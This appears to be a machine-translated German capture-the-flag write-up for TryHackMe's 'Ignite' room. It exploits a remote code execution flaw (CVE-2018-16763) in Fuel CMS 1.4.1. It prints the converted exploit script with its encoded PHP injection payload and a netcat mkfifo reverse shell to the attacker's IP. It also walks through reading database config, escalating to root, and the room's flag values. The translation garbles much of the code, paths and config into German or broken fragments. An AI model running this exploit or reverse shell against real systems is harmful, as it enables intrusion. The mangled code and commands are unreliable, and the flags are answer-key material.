[CVE-2018-16763] Kraftstoff CMS 1.4.1-Ich habe die Ausführung der Remote-Code (1) in Python 3 konvertiert und gehackt! Tryhackme Ignite schreiben

┌── (hacklab㉿hacklab) -[~/tryhackme/ignite] └─ $ nmap -pn -t4 -a 10.10.251.170 Start NMAP 7.92 (https://nmap.org) um 2023-07-07 23:01 JST nmap Scan -Bericht für 10.10.251.170. Nicht gezeigt: 999 geschlossene TCP-Ports (conn-gerührt) Port State Service Version 80/TCP Öffnen Sie Http Apache httpd 2.4.18 ((Ubuntu)) | _http-server-header: Apache/2.4.18 (Ubuntu) | http-robots.txt: 1 Nicht zugelassener Eintrag | _/ fuße/ | _http-title: Willkommen bei der Erkennung von CMS-Services von Kraftstoff. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) in 53,84 Sekunden gescannt

┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ Searchsploit Kraftstoff CMS 1.4 ---- ---- ----- ----------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Ausführung (3) | PHP/WebApps/50477.Py Fuel CMS 1.4.13 - 'Col' Blind SQL Injection (authentifiziert) | PHP/WebApps/50523.txt Fuel CMS 1.4.7 - 'Col' SQL Injection (authentifiziert) | PHP/WebApps/48741.txt Fuel CMS 1.4.8 - 'Fuel_Replace_ID' SQL -Injektion (authentifiziert) | PHP/WebApps/48778.txt ----- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ Locate 47138 /home/hacklab/.cache/mozilla/firefox/yr8wkpln.default-esr/cache2/entries/8f026053f2471384208f4944898b7a4e7f607eeeee. ┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ cp /usr/share/exploitdb/exploits/linux/webapps/47138.py. Hacklab Hacklab 1004 7. August 23:30 47138.py

┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ sudo apt-get install 2to3

┌── (hacklab㉿hacklab) -[~/tryhackme/ignite] └─ $ 2to3 -W 47138.py/usr/bin/2to3: 3: AbschaltungWarning RefactoringTool: Skipping optional fixer: idioms RefactoringTool: Skipping optional fixer: set_literal RefactoringTool: Skipping optional fixer: ws_comma RefactoringTool: Refactored 47138.py --- 47138.py (original) +++ 47138.py (refactored) @@ -9,7 +9,7 @@ import requests -import Urllib +importieren urllib.request, urllib.parse, urllib.error url = "http://127.0.0.1:881" def find_nth_overlapping (haystack, nedel, n): @ -20,8 +20,8 @@reting starten while, while- URL+"/Kraftstoff/Seiten/Select/? Filter =%27%2B%70%69%28%70%72%69%6E%74%28%61%3D%27%73%79%73%74%65%6d 29%%%%%29%27%27%27%27%27%27%2 27" + xxxx = input ('cmd:') + burp0_url = URL+"/Kraftstoff/Seiten/Select/? Filter =%27%2B%70%69%28%70%72%69%6e%74%28%24%61%3D%27% 73%79%73%74%65%6d%27%29%2B%24%61%28%27 "Urllib.Parse.quote (xxxx)+"%27%29%2B%27 " proxy = {"http":"http://127.0.0.1:8080"} r = requests.get(burp0_url, proxies=proxy) @@ -31,4 +31,4 @@ begin = r.text[0:20] dup = find_nth_overlapping(r.text,begin,2) - print r.text[0:dup] + print (R.Text [0: DUP]) RefactoryTool: Dateien, die geändert wurden: Refactory: 47138.py

┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ ll insgesamt 8 -rwxr-xr-x 1 hacklab hacklab 1043 7. August 23:34 47138.py -rwxr-x 1 Hacklab Hacklab 1004.

┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ cat 47138.py # exploit title: touble cms 1.4.1-Remote-Code-Ausführung (1) # Datum: 2019-07-19 # exploit Autorin: 0xd0ff9 # Home/ # -Software-Link: Https: https://github.com/daylightStudio/fuel-cms/releass/tag/1.4.1 # Version: <= 1.4.1 # getestet auf: Ubuntu-apache2-php5 # cve: cve-2018-16763 Import-Anfragen importiern.request, urlib.parse "http://10.10.251.170" # ändern def find_nth_overlaping (haystack, nadel, n): start = haystack.find (Nadel)> = 0 und N> 1: Start = Haystack.find (Nadel, Start+1) N -= 1 Return Start, während 1: xxxx = Input ('cmd:') (') (') ('Cmd:'). URL+"/Kraftstoff/Seiten/Select/? Filter =%27%2B%70%69%28%70%72%69%6e%74%28%24%61%3D%27% 73%79%73%74%65%6d%27%29%2B%24%61%28%27 "Urllib.Parse.quote (xxxx)+"%27%29%2B%27 " # proxy = {"http": "http://127.0.0.1:8080"} # ändern r = requests.get (burp0_url) # ändern html = "<!DOCTYPE html> "htmlcharset = R.Text.find (html) begin = R.Text [0:20] dUp = find_nth_overlaping (R.Text, begin, 2) print (R.Text [0: DUP])

┌── (hacklab㉿hacklab)-[~/tryhackme/ignite] └─ $ python3 47138.py CMD: Whoami Systemwww-data<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4> Es wurde ein PHP -Fehler aufgetreten</h4><p> Schwere: Warnung</p><p> Meldung: preg_match (): Der Grenzwert darf nicht alphanumerisch oder Backslash sein</p><p> Dateiname: Controller/Pages.php (924): Laufzeit erstellte Funktion</p><p> Zeilennummer: 1</p><p> Backtrace:</p><p style="margin-left:10px"> Datei: /var/www/html/fuel/modules/fuel/controllers/pages.php(924): Runtime-Created-Funktion<br /> Zeile: 1<br /> Funktion: preg_match</p><p style="margin-left:10px"> Datei: /var/www/html/fuel/modules/fuel/controllers/pages.php<br /> Zeile: 932<br /> Funktion: Array_filter</p><p style="margin-left:10px"> Datei: /var/www/html/index.php<br /> Zeile: 364<br /> Funktion: Required_once</p></div>

CMD: PWD -System/var/www/html<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"><h4> Es wurde ein PHP -Fehler aufgetreten</h4><p> Schwere: Warnung</p><p> Meldung: preg_match (): Der Grenzwert darf nicht alphanumerisch oder Backslash sein</p><p> Dateiname: Controller/Pages.php (924): Laufzeit erstellte Funktion</p><p> Zeilennummer: 1</p><p> Backtrace:</p><p style="margin-left:10px"> Datei: /var/www/html/fuel/modules/fuel/controllers/pages.php(924): Runtime-Created-Funktion<br /> Zeile: 1<br /> Funktion: preg_match</p><p style="margin-left:10px"> Datei: /var/www/html/fuel/modules/fuel/controllers/pages.php<br /> Zeile: 932<br /> Funktion: Array_filter</p><p style="margin-left:10px"> Datei: /var/www/html/index.php<br /> Zeile: 364<br /> Funktion: Required_once</p></div>

┌── (hacklab㉿hacklab) -[~] └─ $ nc -nlvp 4444 Hören Sie sich an [an jedem] 4444 ...

cmd: rm -f/tmp/f; mkfifo/tmp/f; cat/tmp/f |/bin/sh -i 2> & 1 | nc 10.18.110.90 4444>/tmp/f

┌── (hacklab㉿hackLab) -[~] └─ $ nc -nlvp 4444 Hören Sie sich an [an jedem] 4444 ... eine Verbindung zu [10.18.110.90] aus (unbekannt) [10.10.251.170] 34426 /bin /sh: 0: Kann nicht zugreifen; Jobkontrolle ausgeschaltet $ whoami www-data $ ls readme.md assets composer

$ python -c 'import pty; pty.spawn ("/bin/bash")' www -data@ubuntu:/var/www/html $ 

www -data@ubuntu:/var/www/html $ ^Z ZSH: Suspended NC -NLVP 4444

°

┌── (hacklab㉿hacklab) -[~] └─ $ STTY RAW -ECHO; FG [1] + Fortsetzung NC -NLVP 4444 Export Term = Xterm -256Color

www-data@ubuntu:/var/www/html $ Export Shell = Bash

www-data@ubuntu:/$ cd/home/www-data/www-data@ubuntu:/home/www-data $ ls flag.txt

www-data@ubuntu:/home/www-data $ cat flag.txt 6470e394cbf6dab6a91682cc8585059b

www-data@ubuntu:/home/www-data $ cat /var/www/html/fuel/application/config/datse.php <?php defined('BASEPATH') OR exit('No direct script access allowed'); /* | ------------------------------------------------------------------- | DATABASE CONNECTIVITY SETTINGS | ------------------------------------------------------------------- | This file will contain the settings needed to access your database. | | For complete instructions please consult the 'Database Connection' | page of the User Guide. | | ------------------------------------------------------------------- | EXPLANATION OF VARIABLES | ------------------------------------------------------------------- | | ['dsn'] The full DSN string describe a connection to the database. | ['hostname'] The hostname of your database server. | ['username'] The username used to connect to the database | ['password'] The password used to connect to the database | ['database'] The name of the database you want to connect to | ['dbdriver'] The database driver. e.g.: mysqli. | Currently supported: | cubrid, ibase, mssql, mysql, mysqli, oci8, | odbc, pdo, postgre, sqlite, sqlite3, sqlsrv | ['dbprefix'] You can add an optional prefix, which will be added | to the table name when using the Query Builder class | ['pconnect'] TRUE/FALSE - Whether to use a persistent connection | ['db_debug'] TRUE/FALSE - Whether database errors should be displayed. | ['cache_on'] TRUE/FALSE - Enables/disables query caching | ['cachedir'] The path to the folder where cache files should be stored | ['char_set'] The character set used in communicating with the database | ['dbcollat'] The character collation used in communicating with the database | NOTE: For MySQL and MySQLi databases, this setting is only used | as a backup if your server is running PHP < 5.2.3 or MySQL < 5.0.7 | (and in table creation queries made with DB Forge). | There is an incompatibility in PHP with mysql_real_escape_string() which | can make your site vulnerable to SQL injection if you are using a | multi-byte character set and are running versions lower than these. | Sites using Latin-1 or UTF-8 database character set and collation are unaffected. | ['swap_pre'] A default table prefix that should be swapped with the dbprefix | ['encrypt'] Whether or not to use an encrypted connection. | | 'mysql' (deprecated), 'sqlsrv' and 'pdo/sqlsrv' drivers accept TRUE/FALSE | 'mysqli' and 'pdo/mysql' drivers accept an array with the following options: | | 'ssl_key' - Path to the private key file | 'ssl_cert' - Path to the public key certificate file | 'ssl_ca' - Path to the certificate authority file | 'ssl_capath' - Path to a directory containing trusted CA certificats in PEM format | 'ssl_cipher' - List of *allowed* ciphers to be used for the encryption, separated by colons (':') | 'ssl_verify' - TRUE/FALSE; Whether verify the server certificate or not ('mysqli' only) | | ['compress'] Whether or not to use client compression (MySQL only) | ['stricton'] TRUE/FALSE - forces 'Strict Mode' connections | - good for ensuring strict SQL while developing | ['ssl_options'] Used to set various SSL options that can be used when making SSL connections. | ['failover'] array - A array with 0 or more data for connections if the main should fail. | ['save_queries'] TRUE/FALSE - Whether to "save" all executed queries. | NOTE: Disabling this will also effectively disable both | $this-> DB-> last_query () und Profiling von DB-Abfragen. | Wenn Sie eine Abfrage ausführen, wobei diese Einstellung auf true (Standard) festgelegt ist, | CodeIgniter speichert die SQL -Erklärung zum Debugging -Zweck. | Dies kann jedoch einen hohen Speicherverbrauch verursachen, insbesondere wenn Sie | Viele SQL -Abfragen ... deaktivieren Sie dies, um dieses Problem zu vermeiden. | | Mit der Variablen $ Active_Group können Sie auswählen, in welcher Verbindungsgruppe | aktivieren. Standardmäßig gibt es nur eine Gruppe (mit der 'Standard' | | | Die Variablen $ query_builder können bestimmen, ob die Query Builder -Klasse geladen wird oder nicht. */ $ Action_group = 'Standard'; $ query_builder = true; => 'mememe', 'database' => 'Fuel_schema', 'dbdriver' => 'mySqli', 'dbprefix' => '', 'pconnect' => false, 'db_debug' => (Umgebung! 'dbcollat' => 'utf8_general_ci', 'swap_pre' => '', 'Encrypt' => false, 'compress' => false, 'stricton' = false, 'failover' => Array (), 'Save_queries' => True); @include (tester_path.'config/tester_database'.ext);

www-data@ubuntu:/home/www-data $ su root password: root@ubuntu:/home/www-data##

root@ubuntu:/home/www-data# cd/root root@ubuntu: ~# ll insgesamt 32 drwx ------- 4 Root 4096 Jul 26. 2019. .bashrc drwx ---------

root@ubuntu: ~# cat root.txt b9bbcb33e11b80be759c4e844862482d